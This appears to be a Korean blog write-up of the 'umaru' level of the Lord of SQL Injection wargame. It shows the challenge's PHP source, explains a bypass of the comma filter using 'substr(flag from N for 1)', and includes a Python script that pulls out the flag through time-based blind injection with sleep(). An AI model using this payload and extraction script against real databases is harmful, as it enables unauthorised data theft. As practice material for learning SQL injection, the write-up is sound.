ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • LOS umaru
    WebHacking/Load Of Sql Injection 2018. 2. 18. 03:07
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    <?php
      include "./config.php";
      login_chk();
      dbconnect();
     
      function reset_flag(){
        $new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);
        $chk = @mysql_fetch_array(mysql_query("select id from prob_umaru where id='{$_SESSION[los_id]}'"));
        if(!$chk[id]) mysql_query("insert into prob_umaru values('{$_SESSION[los_id]}','{$new_flag}')");
        else mysql_query("update prob_umaru set flag='{$new_flag}' where id='{$_SESSION[los_id]}'");
        echo "reset ok";
        highlight_file(__FILE__);
        exit();
      }
     
      if(!$_GET[flag]){ highlight_file(__FILE__); exit; }
     
      if(preg_match('/prob|_|\./i'$_GET[flag])) exit("No Hack ~_~");
      if(preg_match('/id|where|order|limit|,/i'$_GET[flag])) exit("HeHe");
      if(strlen($_GET[flag])>100exit("HeHe");
     
      $realflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru where id='{$_SESSION[los_id]}'"));
     
      @mysql_query("create temporary table prob_umaru_temp as select * from prob_umaru where id='{$_SESSION[los_id]}'");
      @mysql_query("update prob_umaru_temp set flag={$_GET[flag]}");
     
      $tempflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru_temp"));
      if((!$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag();
     
      if($realflag[flag] === $_GET[flag]) solve("umaru");
    ?>
    cs


    문제 소스가 길어졌다. 

    prob_umaru에서 플래그를 가져오고 prob_umaru_temp라는 임시 테이블을 만들어주고 그곳 flag부분에 내가 입력한 flag를 update해주고 prob_umaru와 prob_umaru_temp를 비교한후 맞으면 solve 틀리다면 reset_flag함수를 호출해준다.

    reset_flag에서는 rand,md5,substr를 해준후 prob_umaru id가 없으면 insert 있으면 flag를 업데이트 해준다


    update부분에서 get['flag']에서 오류가 난다면 그 아래부분인 reset_flag함수가 호출되지 않는것을 이용하여서 injection을 해줄수있다.


    콤마가 필터링 되어있기때문에 from for을 이용해줘서 우회 해줄 수 있다. 

    like를 이용하여서 비교하는 방법도 있다.


    flag from 1 for 1은 == (flag,1,1)



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    import urllib2
    import time
    = 1
    input_ = 48 #0
    flag = ''
     
    while(True):
        url = 'https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=substr(flag from %d for 1) = \'%s\' and sleep(3)' %(j,chr(input_))
        url += ' or (select 5 union select 6)'
        start = int(time.time())
        req = urllib2.Request(url)
        req.add_header('User-Agent','Mozilla/5.0')
        req.add_header('cookie','PHPSESSID=cou72qt1ouduhumnfslep8oaa2')
        url_open = urllib2.urlopen(req)
        end = int(time.time())
        target = end - start
        print target
        if target >2:
            print 'Search: %s' %(chr(input_))
            flag += chr(input_)
            if len(flag) == 16:
                break
            j += 1
            input_ = 48
        else:
            #print url
            input_ += 0x1
            if input_ == 58:
                input_ = 97
     
    print 'flag is ' + flag
     
    cs




    'WebHacking > Load Of Sql Injection' 카테고리의 다른 글

    LOS hell_fire, evil_wizard  (0) 2018.02.18
    LOS dark_eyes  (0) 2018.02.18
    LOS iron_golem  (0) 2018.02.18
    LOS dragon  (0) 2018.02.18
    LOS navis  (0) 2018.02.15
Designed by Tistory.